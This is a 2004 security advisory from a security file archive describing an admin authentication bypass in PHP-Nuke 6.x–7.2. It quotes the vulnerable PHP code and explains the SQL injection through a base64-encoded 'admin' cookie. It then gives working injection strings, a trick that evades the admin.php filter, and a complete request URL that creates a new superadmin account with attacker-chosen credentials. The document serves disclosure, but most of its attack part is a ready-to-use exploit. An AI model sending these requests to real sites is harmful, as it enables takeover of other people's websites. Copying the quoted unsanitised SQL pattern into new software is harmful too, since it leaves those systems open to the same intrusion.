what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

waraxe-2004-SA018.txt

waraxe-2004-SA018.txt
Posted Apr 12, 2004
Authored by Janek Vind aka waraxe

PHP-Nuke versions 6.x through 7.2 have a flaw that allows for administrator level authentication bypass.

tags | advisory, php
SHA-256 | e506b19ed8619a63fd70561c25235584398ff9dd2637205db300cc42e775de9e

waraxe-2004-SA018.txt

Change Mirror Download




{================================================================================}
{ [waraxe-2004-SA#018] }
{================================================================================}
{ }
{ [ Admin-level authentication bypass in phpnuke 6.x-7.2] }
{ }
{================================================================================}

Author: Janek Vind "waraxe"
Date: 12. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=18


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This time we will try to create superadmin account without any authentication at all.
First, let's look at original code in auth.php line 48:


$admintest = 0;

if(isset($admin) && $admin != "") {
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";


Again we can see, that base64decoded variable "admin" from cookie will be exploded to
components - admin id and password's md5 hash. As alway with base64 encode/decode
operation, care must by taken with special symbols, like single quotes. Before using
the base64decoded information, addslashes() function must be used. But let's look at
auth.php code further:


if ($aid=="" || $pwd=="") {
$admintest=0;
echo "<html>\n";
echo "<title>INTRUDER ALERT!!!</title>\n";
echo "<body bgcolor=\"#FFFFFF\" text=\"#000000\">\n\n<br><br><br>\n\n";
echo "<center><img src=\"images/eyes.gif\" border=\"0\"><br><br>\n";
echo "<font face=\"Verdana\" size=\"+4\"><b>Get Out!</b></font></center>\n";
echo "</body>\n";
echo "</html>\n";
exit;
}
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'";
if (!($result = $db->sql_query($sql))) {
echo "Selection from database failed!";
exit;
} else {

$row = $db->sql_fetchrow($result);
if($row[pwd] == $pwd && $row[pwd] != "") {
$admintest = 1;
}
}


So, unsanitaized variable $aid is used in sql query - classical sql injection case.
It's time to practical work - let's try to use $admin variable through GET request,
because it's more easy than using of the cookies. Let's construct "cookie" like this:

x'%20OR/*:y

which will be after base64encoding eCcgT1IvKjp5
If we make request like http://localhost/nuke71/admin.php?admin=eCcgT1IvKjp5
then we have blank screen with short message: "die". Hmm, wtf? Nothing special ;)
Here it is, this little filtering code, in admin.php line 16:

if (preg_match("/\?admin/", "$checkurl")) {
echo "die";
exit;

This filter suxx, coz we can use urlencoding or POST or COOKIE variable. But I suggest
using of the even simple method - additional parameter:

http://localhost/nuke71/admin.php?foo=bar&admin=eCcgT1IvKjp5

and you can see "Selection from database failed!". Bingo! We have now proof of the working
sql injection. We can use this for "blind fishing" and try to get from database admin's
username and password's md5 hash, but let's try in this time to bypass the authentication at all.
Let's move forward - creating of the additional superadmin's account goes through url like this:

http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1

and the "workhorse" is authors.php from /admin/modules/ directory. Authentication goes through
multiple steps. First, like we saw before, auth.php is required by admin.php and if we want to
bypass this authentication step, we must use UNION functionality, constructing "cookie" like this:

x'%20UNION%20SELECT%201/*:1

which gives to us after base64encode operation the string eCcgVU5JT04gU0VMRUNUIDEvKjox .

As we can see, in first authentication step in auth.php script, pwd from database is pulled out, but
because we use UNION method, we can fake the pwd to be "1". If we look at "cookie", after the ":", we
see, that this pwd is "1" too. So comparing those two strings gives equality and we have bypassed successfully
the first authentication step.
Next step is located in the beginning of the authors.php script:

$aid = trim($aid);
$result = sql_query("select radminsuper from ".$prefix."_authors where aid='$aid'", $dbi);
list($radminsuper) = sql_fetch_row($result, $dbi);
if ($radminsuper==1) {
...
}else{
echo "Access Denied";
}

Because we have "poisoned" the $aid variable with single quote and UNION stuff, the variable $radminsuper
will have value "1" and the second authentication step is bypassed now successfully too.

Next we have in authors.php code like this:



case "AddAuthor":
$add_aid = substr("$add_aid", 0,25);
$add_name = substr("$add_name", 0,25);
$add_pwd = substr("$add_pwd", 0,12);
if (!($add_aid && $add_name && $add_email && $add_pwd)) {
...
}
$add_pwd = md5($add_pwd);
$result = sql_query("insert into ".$prefix."_authors values ('$add_aid', '$add_name', '$add_url', '$add_email', '$add_pwd', '0', '$add_radminarticle',
'$add_radmintopic','$add_radminuser','$add_radminsurvey','$add_radminsection','$add_radminlink','$add_radminephem','$add_radminfaq','$add_radmindownload','$add_radminreviews','$add_radminnewsletter','$add_radminforum','$add_radmincontent','$add_radminency','$add_radminsuper','$add_admlanguage')", $dbi);
if (!$result) {
return;
}
Header("Location: admin.php?op=mod_authors");
break;



As we can see, no more authentication is used, so it's time to make final test for exploit:


http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox


If all went normally, you can now login as superadmin with username "waraxe2" and password "coolpass".

Mission complete!



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close